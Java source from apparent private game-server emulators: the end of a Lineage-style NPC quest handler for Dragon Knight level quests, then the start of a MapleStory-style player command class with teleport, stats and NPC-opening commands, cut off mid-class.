// 在<font fg=ffff0>異界 奎斯特</font>調查得如何啊?有找到<font fg=ffafff>靈魂之火</font>了嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel30"));
}
break;
case 4:
if (pc.getInventory().checkItem(49231)) { // 路西爾斯邪念碎片
// 哇~哇~你手上拿著是什麼呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel37"));
} else {
// 在<font fg=ffff0>異界 奎斯特</font>調查得如何啊?有找到<font fg=ffafff>靈魂之火</font>嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel25"));
}
break;
}
} else {
// 修練做的如何了?過不久會給你新任務的。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel20"));
}
return;
}
// LV30任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv30_1.QUEST.get_id())) {
// 等級達成要求(LV45)
if (pc.getLevel() >= DragonKnightLv45_1.QUEST.get_questlevel()) {
// 任務進度
switch (pc.getQuest().get_step(DragonKnightLv45_1.QUEST.get_id())) {
case 0:// 任務尚未開始
// 歡迎啊~勇猛的龍騎士!
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel15"));
break;
case 1:
case 2:
case 3:
// 幻術士的村莊應該不好找的
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel16"));
break;
case 4:
if (pc.getInventory().checkItem(49224)) { // 幻術士同盟徽印
// 交出幻術士同盟徽印
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel17"));
} else {
// <font fg=ffffaf>幻術士同盟徽印</font>在哪呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel19"));
}
break;
}
} else {
// 上次教你的<font fg=ffffaf>血之渴望</font>魔法都學會了嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel14"));
}
return;
}
// LV15任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv15_1.QUEST.get_id())) {
// 等級達成要求(LV30)
if (pc.getLevel() >= DragonKnightLv30_1.QUEST.get_questlevel()) {
// 任務進度
switch (pc.getQuest().get_step(DragonKnightLv30_1.QUEST.get_id())) {
case 0:// 任務尚未開始
// 嗯~感覺與之前狀況有所不同呢,修練得如何?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel8"));
break;
case 1:// 達到1(任務開始)
// 交出妖魔密使首領間諜書
// 需要普洛凱爾的礦物袋
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel10"));
break;
}
} else {
// 上次,依你所找到的<font fg=ffffaf>妖魔搜索文件</font>為基礎,正在調查相關事項
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel7"));
}
} else {
// 等級達成要求
if (pc.getLevel() >= DragonKnightLv15_1.QUEST.get_questlevel()) {
// 任務進度
switch (pc.getQuest().get_step(DragonKnightLv15_1.QUEST.get_id())) {
case 0:// 任務尚未開始
// 執行普洛凱爾的課題
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel2"));
break;
case 1:// 達到1(任務開始)
// 將妖魔搜索文件交出
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel4"));
break;
}
} else {
// 真正龍騎士是需擁有親自去解決所有問題的勇氣啊!
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel22"));
}
}
} else if (pc.isIllusionist()) {// 幻術師
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else {
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
}
} catch (final Exception e) {
_log.error(e.getLocalizedMessage(), e);
}
}
@Override
public void action(final L1PcInstance pc, final L1NpcInstance npc, final String cmd, final long amount) {
boolean isCloseList = false;
if (pc.isDragonKnight()) {// 龍騎士
if (cmd.equalsIgnoreCase("a")) {// 執行普洛凱爾的課題 TODO
// 等級達成要求(LV15任務)
if (pc.getLevel() >= DragonKnightLv15_1.QUEST.get_questlevel()) {
// 給予任務道具(普洛凱爾的第1次指令書)
CreateNewItem.getQuestItem(pc, npc, 49210, 1);
// 將任務設置為執行中
QuestClass.get().startQuest(pc, DragonKnightLv15_1.QUEST.get_id());
// 這指令書上寫著你要執行的任務,請快點完成它吧。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel3"));
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("b")) {// 將妖魔搜索文件交出 TODO
// 等級達成要求(LV15任務)
if (pc.getLevel() >= DragonKnightLv15_1.QUEST.get_questlevel()) {
// 需要物件不足
if (CreateNewItem.checkNewItem(pc,
new int[]{
49217,// 49217 妖魔搜索文件(妖魔森林)
49218,// 49218 妖魔搜索文件(古魯丁)
49219,// 49219 妖魔搜索文件(風木)
},
new int[]{
1,
1,
1,
})
< 1) {// 傳回可交換道具數小於1(需要物件不足)
// 妖魔搜索文件在哪?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel6"));
} else {// 需要物件充足
// 收回任務需要物件 給予任務完成物件
CreateNewItem.createNewItem(pc,
new int[]{
49217,// 49217 妖魔搜索文件(妖魔森林)
49218,// 49218 妖魔搜索文件(古魯丁)
49219,// 49219 妖魔搜索文件(風木)
},
new int[]{
1,
1,
1,
},
new int[]{
49102,// 龍騎士書板(龍之護鎧) x 1
275,// 龍騎士雙手劍 x 1
},
1,
new int[]{
1,
1,
}
);// 給予
final L1ItemInstance item =
pc.getInventory().checkItemX(49210, 1);// 普洛凱爾的第一次指令書
if (item != null) {
pc.getInventory().removeItem(item, 1);// 刪除道具
}
// 將任務設置為結束
QuestClass.get().endQuest(pc, DragonKnightLv15_1.QUEST.get_id());
// 比想像中回來滿快的嘛,應該很隱密進行的吧?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel5"));
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("c")) {// 執行普洛凱爾的第二次課題 TODO
// LV15任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv15_1.QUEST.get_id())) {
// 等級達成要求(LV30任務)
if (pc.getLevel() >= DragonKnightLv30_1.QUEST.get_questlevel()) {
// 給予任務道具(普洛凱爾的第2次指令書)
CreateNewItem.getQuestItem(pc, npc, 49211, 1);
// 給予任務道具(普洛凱爾的礦物袋)
CreateNewItem.getQuestItem(pc, npc, 49215, 1);
// 將任務設置為執行中
QuestClass.get().startQuest(pc, DragonKnightLv30_1.QUEST.get_id());
// 若想取得只有妖魔密使首領所知道的高級情報,需變裝成他們的樣子會比較好。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel9"));
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("d")) {// 交出妖魔密使首領間諜書 TODO
// LV15任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv15_1.QUEST.get_id())) {
// 等級達成要求(LV30任務)
if (pc.getLevel() >= DragonKnightLv30_1.QUEST.get_questlevel()) {
final L1ItemInstance item =
pc.getInventory().checkItemX(49221, 1);// 妖魔密使首領間諜書 49221
if (item != null) {
pc.getInventory().removeItem(item, 1);// 刪除道具
final L1ItemInstance item2 =
pc.getInventory().checkItemX(49211, 1);// 普洛凱爾的第二次指令書
if (item2 != null) {
pc.getInventory().removeItem(item2, 1);// 刪除道具
}
// 將任務設置為結束
QuestClass.get().endQuest(pc, DragonKnightLv30_1.QUEST.get_id());
// 哈哈哈!你一定可以達到目標的。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel11"));
// 給予任務道具(普洛凱爾的第一次信件)
CreateNewItem.getQuestItem(pc, npc, 49213, 1);
// 給予任務道具(龍騎士書板(血之渴望))
CreateNewItem.getQuestItem(pc, npc, 49107, 1);
} else {
// 妖魔密使首領間諜書到底在哪呢? 該不會任務失敗吧?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel12"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("e")) {// 需要普洛凱爾的礦物袋 TODO
// LV15任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv15_1.QUEST.get_id())) {
// 等級達成要求(LV30任務)
if (pc.getLevel() >= DragonKnightLv30_1.QUEST.get_questlevel()) {
if (pc.getInventory().checkItem(49223)) { // 已經具有物品-妖魔密使的徽印
// 礦物袋子不是已經給過了嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel35"));
return;
}
if (pc.getInventory().checkItem(49215)) { // 已經具有物品
// 礦物袋子不是已經給過了嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel35"));
} else {
// 給予任務道具(普洛凱爾的礦物袋)
CreateNewItem.getQuestItem(pc, npc, 49215, 1);
// 什麼??給你的礦物袋子遺失了?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel13"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("f")) {// 執行普洛凱爾的第三次課題 TODO
// LV30任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv30_1.QUEST.get_id())) {
// 等級達成要求(LV45任務)
if (pc.getLevel() >= DragonKnightLv45_1.QUEST.get_questlevel()) {
// 給予任務道具(普洛凱爾的第三次指令書)
CreateNewItem.getQuestItem(pc, npc, 49212, 1);
// 給予任務道具(普洛凱爾的信件)
CreateNewItem.getQuestItem(pc, npc, 49209, 1);
// 給予任務道具(結盟瞬間移動卷軸)
CreateNewItem.getQuestItem(pc, npc, 49226, 1);
// 將任務設置為執行中
QuestClass.get().startQuest(pc, DragonKnightLv45_1.QUEST.get_id());
// 幻術士的村莊應該不好找的
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel16"));
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("g")) {// 交出幻術士同盟徽印 TODO
// LV30任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv30_1.QUEST.get_id())) {
// 等級達成要求(LV45任務)
if (pc.getLevel() >= DragonKnightLv45_1.QUEST.get_questlevel()) {
final L1ItemInstance item =
pc.getInventory().checkItemX(49224, 1);// 幻術士同盟徽印 49224
if (item != null) {
pc.getInventory().removeItem(item, 1);// 刪除道具
final L1ItemInstance item2 =
pc.getInventory().checkItemX(49212, 1);// 普洛凱爾的第三次指令書
if (item2 != null) {
pc.getInventory().removeItem(item2, 1);// 刪除道具
}
// 將任務設置為結束
QuestClass.get().endQuest(pc, DragonKnightLv45_1.QUEST.get_id());
// 辛苦了~果然得以信任,我會持續觀察的
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel18"));
// 給予任務道具(普洛凱爾的第二次信件)
CreateNewItem.getQuestItem(pc, npc, 49214, 1);
} else {
// <font fg=ffffaf>幻術士同盟徽印</font>在哪呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel19"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("h")) {// 執行普洛凱爾第四課題 TODO
// LV45任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv45_1.QUEST.get_id())) {
// 等級達成要求(LV50)
if (pc.getLevel() >= DragonKnightLv50_1.QUEST.get_questlevel()) {
// 給予任務道具(普洛凱爾的第四次指令書)
CreateNewItem.getQuestItem(pc, npc, 49546, 1);
// 將任務設置為執行中
QuestClass.get().startQuest(pc, DragonKnightLv50_1.QUEST.get_id());
// 真正龍騎士是需擁有親自去解決所有問題的勇氣啊!
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel22"));
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("i")) {// 交出時空裂痕碎片100個 TODO
// LV45任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv45_1.QUEST.get_id())) {
// 等級達成要求(LV50)
if (pc.getLevel() >= DragonKnightLv50_1.QUEST.get_questlevel()) {
final L1ItemInstance item =
pc.getInventory().checkItemX(49101, 100);// 時空裂痕碎片49101
if (item != null) {
pc.getInventory().removeItem(item, 100);// 刪除道具
final L1ItemInstance item2 =
pc.getInventory().checkItemX(49546, 1);// 普洛凱爾的第四次指令書
if (item2 != null) {
pc.getInventory().removeItem(item2, 1);// 刪除道具
}
// <font fg=ffffaf>時空裂痕邪念碎片</font>將會開啟往 <font fg=ffff0>異界</font>次元之門的。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel33"));
// 提升任務進度
pc.getQuest().set_step(DragonKnightLv50_1.QUEST.get_id(), 2);
// 給予任務道具(普洛凱爾的第五次指令書)
CreateNewItem.getQuestItem(pc, npc, 49547, 1);
// 給予任務道具(時空裂痕邪念碎片)
CreateNewItem.getQuestItem(pc, npc, 49202, 1);
// 給予任務道具(普洛凱爾的護身符)
CreateNewItem.getQuestItem(pc, npc, 49216, 1);
} else {
// <font fg=ffffaf>時間裂痕碎片</font>100個在哪呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel31"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("j")) {// 交出路西爾斯邪念碎片與靈魂之火灰燼 TODO
// LV45任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv45_1.QUEST.get_id())) {
// 等級達成要求(LV50)
if (pc.getLevel() >= DragonKnightLv50_1.QUEST.get_questlevel()) {
final L1ItemInstance item =
pc.getInventory().checkItemX(49231, 1);// 路西爾斯邪念碎片 49231
if (item != null) {
pc.getInventory().removeItem(item);// 刪除道具
final L1ItemInstance item2 =
pc.getInventory().checkItemX(49547, 1);// 普洛凱爾的第五次指令書
if (item2 != null) {
pc.getInventory().removeItem(item2);// 刪除道具
}
final L1ItemInstance item3 =
pc.getInventory().checkItemX(49207, 1);// 靈魂之火灰燼
if (item3 != null) {
pc.getInventory().removeItem(item3);// 刪除道具
}
final L1ItemInstance item4 =
pc.getInventory().checkItemX(49202, 1);// 空裂痕邪念碎片
if (item4 != null) {
pc.getInventory().removeItem(item4);// 刪除道具
}
final L1ItemInstance item5 =
pc.getInventory().checkItemX(49216, 1);// 普洛凱爾的護身符
if (item5 != null) {
pc.getInventory().removeItem(item5);// 刪除道具
}
final L1ItemInstance item6 =
pc.getInventory().checkItemX(49229, 1);// 異界邪念粉末
if (item6 != null) {
pc.getInventory().removeItem(item6);// 刪除道具
}
final L1ItemInstance item7 =
pc.getInventory().checkItemX(49227, 1);// 紅色之火碎片
if (item7 != null) {
pc.getInventory().removeItem(item7);// 刪除道具
}
// 辛苦了,自豪的勇士啊!以你為榮啊。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel26"));
// 將任務設置為結束
QuestClass.get().endQuest(pc, DragonKnightLv50_1.QUEST.get_id());
// 給予任務道具(發光的銀塊)
CreateNewItem.getQuestItem(pc, npc, 49228, 1);
} else {
// 337 \f1%0不足%s。
pc.sendPackets(new S_ServerMessage(337, "$5733(1)"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
} else if (cmd.equalsIgnoreCase("k")) {// 取得時空裂痕碎片 TODO
// LV45任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv45_1.QUEST.get_id())) {
// 等級達成要求(LV50)
if (pc.getLevel() >= DragonKnightLv50_1.QUEST.get_questlevel()) {
if (pc.getInventory().checkItem(49202)) { // 已經具有物品(時空裂痕邪念碎片)
// 不是已經交給你<font fg=ffffaf>時空裂痕邪念碎片</font>不是嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel29"));
} else {
if (!pc.getInventory().checkItem(49216)) { // 不具有物品
// 給予任務道具(普洛凱爾的護身符)
CreateNewItem.getQuestItem(pc, npc, 49216, 1);
}
// 給予任務道具(時空裂痕邪念碎片)
CreateNewItem.getQuestItem(pc, npc, 49202, 1);
// 這有<font fg=ffffaf>時空裂痕邪念碎片</font>與<font fg=ffffaf>普洛凱爾的護身符</font>。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel28"));
}
} else {
isCloseList = true;
}
} else {
isCloseList = true;
}
}
} else {
isCloseList = true;
}
if (isCloseList) {
// 關閉對話窗
pc.sendPackets(new S_CloseList(pc.getId()));
}
}
}
| tonetone520/yiwei_free | src/com/lineage/data/npc/quest/Npc_Prokel.java |
65,440 | package client.messages.commands;
import client.*;
import client.inventory.MaplePet;
import client.messages.CommandExecute;
import client.inventory.Item;
import client.inventory.MapleInventory;
import client.inventory.MapleInventoryType;
import constants.GameConstants;
import constants.ItemConstants;
import constants.MiMiConfig;
import constants.ServerConstants;
import constants.ServerConstants.PlayerGMRank;
import scripting.NPCConversationManager;
import scripting.NPCScriptManager;
import server.MapleShop;
import server.ServerProperties;
import server.life.MapleMonster;
import server.maps.MapleMapObject;
import server.maps.MapleMapObjectType;
import java.util.*;
import tools.StringUtil;
import handling.world.World;
import server.MapleInventoryManipulator;
import server.MapleItemInformationProvider;
import server.MaplePortal;
import server.maps.MapleMap;
import tools.FilePrinter;
import tools.FileoutputUtil;
import tools.packet.CField;
import tools.packet.CWvsContext;
/**
* @author Emilyx3
*/
public class PlayerCommand {
public static PlayerGMRank getPlayerLevelRequired() {
return ServerConstants.PlayerGMRank.普通玩家;
}
public abstract static class OpenNPCCommand extends CommandExecute {
private static int[] npcs = { //Ish yur job to make sure these are in order and correct ;(
9270035,
9010017,
9000000,
9000030,
9010000,
9000085,
9000018,
9900003,
9900002,
9900007,
9300009,
2012000,
9310051//12
};
protected int npc = -1;
@Override
public boolean execute(MapleClient c, String[] splitted) {
if (npc != 8 && npc != 7 && npc != 6 && npc != 5 && npc != 4 && npc != 3 && npc != 1 && c.getPlayer().getMapId() != 910000000) { //drpcash can use anywhere
if (c.getPlayer().getLevel() < 10 && c.getPlayer().getJob() != 200) {
c.getPlayer().dropMessage(5, "未達10級的玩家無法使用此指令。");
return true;
}
if (c.getPlayer().isInBlockedMap()) {
c.getPlayer().dropMessage(5, "此地圖無法使用指令。");
return true;
}
} else if (npc == 1) {
if (c.getPlayer().getLevel() < 70) {
c.getPlayer().dropMessage(5, "未達70級的玩家無法使用此指令。");
return true;
}
}
if (c.getPlayer().hasBlockedInventory()) {
c.getPlayer().dropMessage(5, "遇到NPC異常請使用 @EA 指令排除。");
return true;
}
NPCScriptManager.getInstance().start(c, npcs[npc]);
return true;
}
}
public static class Npc extends OpenNPCCommand {
public Npc() {
npc = 0;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("Npc - 呼叫萬能npc").toString();
}
}
public static class 活動 extends OpenNPCCommand {
public 活動() {
npc = 2;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("活動 - 呼叫活動npc").toString();
}
}
public static class 掉寶 extends OpenNPCCommand {
public 掉寶() {
npc = 4;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("掉寶 - 呼叫掉寶npc").toString();
}
}
public static class 幫助 extends OpenNPCCommand {
public 幫助() {
npc = 7;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("幫助 - 呼叫幫助npc").toString();
}
}
public static class 公告 extends OpenNPCCommand {
public 公告() {
npc = 8;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("公告 - 呼叫公告npc").toString();
}
}
public static class 尿尿 extends OpenNPCCommand {
public 尿尿() {
npc = 12;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("尿尿- 傳送去澡堂").toString();
}
}
public static class 轉職 extends OpenNPCCommand {
public 轉職() {
npc = 9;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("轉職 - 呼叫轉職npc").toString();
}
}
public static class go extends CommandExecute {
private static final HashMap<String, Integer> gotomaps = new HashMap<>();
static {
gotomaps.put("艾靈森林", 300000000);
gotomaps.put("埃德爾", 310000000);
gotomaps.put("新葉城", 600000000);
gotomaps.put("fm", 910000000);
gotomaps.put("武陵道場", 925020000);
gotomaps.put("怪物公園", 951000000);
gotomaps.put("古代神社", 800000000);
gotomaps.put("昭和村", 801000000);
gotomaps.put("楓葉村", 1000000);
gotomaps.put("雄獅", 551030100);
gotomaps.put("楓之港", 2000000);
gotomaps.put("天空", 200000000);
gotomaps.put("冰原", 211000000);
gotomaps.put("城牆1", 211060100);
gotomaps.put("城牆2", 211060300);
gotomaps.put("城牆3", 211060500);
gotomaps.put("城牆4", 211060700);
gotomaps.put("城牆5", 211060900);
gotomaps.put("玩具", 220000000);
gotomaps.put("地球", 221000000);
gotomaps.put("童話", 222000000);
gotomaps.put("水世界", 230000000);
gotomaps.put("神木", 240000000);
gotomaps.put("桃花", 250000000);
gotomaps.put("靈藥", 251000000);
gotomaps.put("鯨魚號", 251010404);
gotomaps.put("沙漠", 260000200);
gotomaps.put("瑪迦", 261000000);
gotomaps.put("茱麗葉", 261000021);
gotomaps.put("天上", 200100000);
gotomaps.put("三扇門", 270000000);
gotomaps.put("皮卡", 270050100);
gotomaps.put("泰拉", 240070000);
gotomaps.put("新加坡", 540000000);
gotomaps.put("馬來", 550000000);
gotomaps.put("龍王", 240050400 );
gotomaps.put("炎魔", 211042400);
gotomaps.put("女皇", 271040000);
gotomaps.put("弓手", 100000000);
gotomaps.put("魔法", 101000000);
gotomaps.put("櫻花處", 101050000);
gotomaps.put("勇士", 102000000);
gotomaps.put("墮落", 103000000);
gotomaps.put("維多", 104000000);
gotomaps.put("六岔", 104020000);
gotomaps.put("奇幻", 105000000);
gotomaps.put("鯨魚", 120000000);
gotomaps.put("黃金", 120030000);
gotomaps.put("耶雷", 130000000);
gotomaps.put("菇菇", 106020000);
gotomaps.put("瑞恩", 140000000);
gotomaps.put("101", 103040000);
gotomaps.put("結婚", 680000000);
gotomaps.put("boss", 689010000);
gotomaps.put("鄉村", 551000000);
gotomaps.put("碼頭", 541000000);
gotomaps.put("公會", 200000301);
gotomaps.put("鐘王", 220080001);
gotomaps.put("海怒斯", 230040410);
gotomaps.put("大姐頭", 801040003);
gotomaps.put("長老", 801040100);
gotomaps.put("puma", 931000500);
gotomaps.put("金勾", 251010404);
gotomaps.put("坎特", 923040000);
gotomaps.put("技術", 910001000);
}
@Override
public boolean execute(MapleClient c, String splitted[]) {
if (splitted.length < 2) {
c.getPlayer().dropMessage(6, "使用方法: @go <地圖名稱>");
} else if (gotomaps.containsKey(splitted[1])) {
MapleMap target = c.getChannelServer().getMapFactory().getMap(gotomaps.get(splitted[1]));
MaplePortal targetPortal = target.getPortal(0);
c.getPlayer().changeMap(target, targetPortal);
} else if (splitted[1].equals("目的地")) {
c.getPlayer().dropMessage(6, "使用 @go <目的地>. 目的地地圖如下:");
StringBuilder sb = new StringBuilder();
for (String s : gotomaps.keySet()) {
sb.append(s).append(", ");
}
c.getPlayer().dropMessage(6, sb.substring(0, sb.length() - 2));
} else {
c.getPlayer().dropMessage(6, "錯誤的指令規則 - 使用 @go <目的地>. 來看目的地地圖清單, 接著使用 @go 目的地地圖名稱.");
}
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("goto <名稱> - 到某個地圖").toString();
}
}
public static class 轉生 extends OpenNPCCommand {
public 轉生() {
npc = 10;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("轉生 - 200級轉生").toString();
}
}
public static class 技能滿 extends OpenNPCCommand {
public 技能滿() {
npc = 11;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("技能滿 - 技能全滿").toString();
}
}
public static class expfix extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
c.getPlayer().setExp(0);
c.getPlayer().updateSingleStat(MapleStat.EXP, c.getPlayer().getExp());
c.getPlayer().dropMessage(5, "經驗修復完成");
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("expfix - 經驗歸零").toString();
}
}
public static class TSmega extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
c.getPlayer().setSmega();
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("TSmega - 開/關閉廣播").toString();
}
}
public static class ea extends CommandExecute {
public static String getDayOfWeek() {
int dayOfWeek = Calendar.getInstance().get(Calendar.DAY_OF_WEEK) - 1;
String dd = String.valueOf(dayOfWeek);
switch (dayOfWeek) {
case 0:
dd = "日";
break;
case 1:
dd = "一";
break;
case 2:
dd = "二";
break;
case 3:
dd = "三";
break;
case 4:
dd = "四";
break;
case 5:
dd = "五";
break;
case 6:
dd = "六";
break;
}
return dd;
}
@Override
public boolean execute(MapleClient c, String[] splitted) {
c.removeClickedNPC();
NPCScriptManager.getInstance().dispose(c);
c.sendPacket(CWvsContext.enableActions());
StringBuilder sc = new StringBuilder();
sc.append("解卡完畢..\r\n#b當前系統時間:#r").append(FilePrinter.getAreaDateString()).append(" #k#g星期").append(getDayOfWeek()).append("#k");
sc.append("\r\n經驗值倍率 ").append(((Math.round(c.getPlayer().getEXPMod()) * 100) * Math.round(c.getPlayer().getStat().expBuff / 100.0))).append("%, 掉寶倍率 ").append(Math.round(c.getPlayer().getDropMod() * (c.getPlayer().getStat().dropBuff / 100.0) * 100)).append("%, 楓幣倍率 ").append(Math.round((c.getPlayer().getStat().mesoBuff / 100.0) * 100));
if (c.getChannelServer().getExExpRate() > 1 || c.getChannelServer().getExDropRate() > 1 || c.getChannelServer().getExMesoRate() > 1) {
sc.append("\r\n額外經驗值倍率 ").append(c.getChannelServer().getExExpRate()).append("倍, 掉寶倍率 ").append(c.getChannelServer().getExDropRate()).append("倍, 楓幣倍率 ").append(c.getChannelServer().getExMesoRate()).append("倍");
}
sc.append("\r\n目前轉升數: ").append(c.getPlayer().getReborns()).append(" 目前膀胱量: ").append(c.getPlayer().getPee() + "%");
sc.append("\r\n目前剩餘 ").append(c.getPlayer().getCSPoints(0)).append(" 樂豆點, ").append(c.getPlayer().getCSPoints(1)).append(" 楓葉點數, ").append(c.getPlayer().getPoints()).append(" 贊助點數, \r\n").append(c.getPlayer().getIntNoRecord(GameConstants.BOSS_PQ)).append(" Boss組隊任務點數。");
sc.append("\r\n目前銀行存款:#d").append(c.getPlayer().getMesoFromBank());
sc.append("\r\n要查看角色能力訊息請使用 @charinfo");
c.getPlayer().showInstruction(sc.toString(), 450, 30);
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("ea - 解卡").toString();
}
}
public static class charinfo extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
StringBuilder sb = new StringBuilder();
sb.append("-----------以下是角色屬性(不含技能加層的)-----------");
sb.append("\r\n力量:").append(c.getPlayer().getStat().getStr()).append("\t\t總力量:").append(c.getPlayer().getStat().getTotalStr());
sb.append("\r\n敏捷:").append(c.getPlayer().getStat().getDex()).append("\t\t總敏捷:").append(c.getPlayer().getStat().getTotalDex());
sb.append("\r\n智力:").append(c.getPlayer().getStat().getInt()).append("\t\t總智力:").append(c.getPlayer().getStat().getTotalInt());
sb.append("\r\n幸運:").append(c.getPlayer().getStat().getLuk()).append("\t\t總幸運:").append(c.getPlayer().getStat().getTotalLuk());
sb.append("\r\n-----------以下是個人角色資訊-----------");
sb.append("\r\n血量:").append(c.getPlayer().getStat().getHp()).append("/").append(c.getPlayer().getStat().getCurrentMaxHp());
sb.append("\r\n魔量:").append(c.getPlayer().getStat().getMp()).append("/").append(c.getPlayer().getStat().getCurrentMaxMp(c.getPlayer().getJob()));
sb.append("\r\n經驗值:").append(c.getPlayer().getExp());
sb.append("\r\n爆擊率").append(c.getPlayer().getStat().passive_sharpeye_rate()).append("%");
sb.append("\r\n物理攻擊力:").append(c.getPlayer().getStat().getTotalWatk());
sb.append("\r\n魔法攻擊力:").append(c.getPlayer().getStat().getTotalMagic());
sb.append("\r\n最高攻擊:").append(c.getPlayer().getStat().getCurrentMaxBaseDamage());
sb.append("\r\n總傷害:").append((int) Math.ceil(c.getPlayer().getStat().dam_r - 100)).append("%");
sb.append("\r\nBOSS攻擊力:").append((int) Math.ceil(c.getPlayer().getStat().bossdam_r - 100)).append("%");
sb.append("\r\n無視防禦率:").append((float) Math.ceil(c.getPlayer().getStat().ignoreTargetDEF)).append("%");
c.getPlayer().dropNPC(sb.toString());
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(PlayerGMRank.普通玩家.getCommandPrefix()).append("charinfo - 查看本身自己的角色訊息").toString();
}
}
public static class mob extends CommandExecute {
@Override
public boolean execute(MapleClient c, String[] splitted) {
StringBuilder sc = new StringBuilder();
MapleMonster monster = null;
for (final MapleMapObject monstermo : c.getPlayer().getMap().getMapObjectsInRange(c.getPlayer().getPosition(), 100000, Arrays.asList(MapleMapObjectType.MONSTER))) {
monster = (MapleMonster) monstermo;
if (monster.isAlive()) {
sc.append(monster.toString());
sc.append("\r\n\r\n");
}
}
if (monster == null) {
c.getPlayer().dropNPC("找不到怪物。");
return true;
}
c.getPlayer().dropNPC(sc.toString());
return true;
}
@Override
public String getMessage() {
return new StringBuilder().append(ServerConstants.PlayerGMRank.普通玩家.getCommandPrefix()).append("mob - 查看怪物狀態").toString();
}
}
public static class CGM extends CommandExecute {
@Override
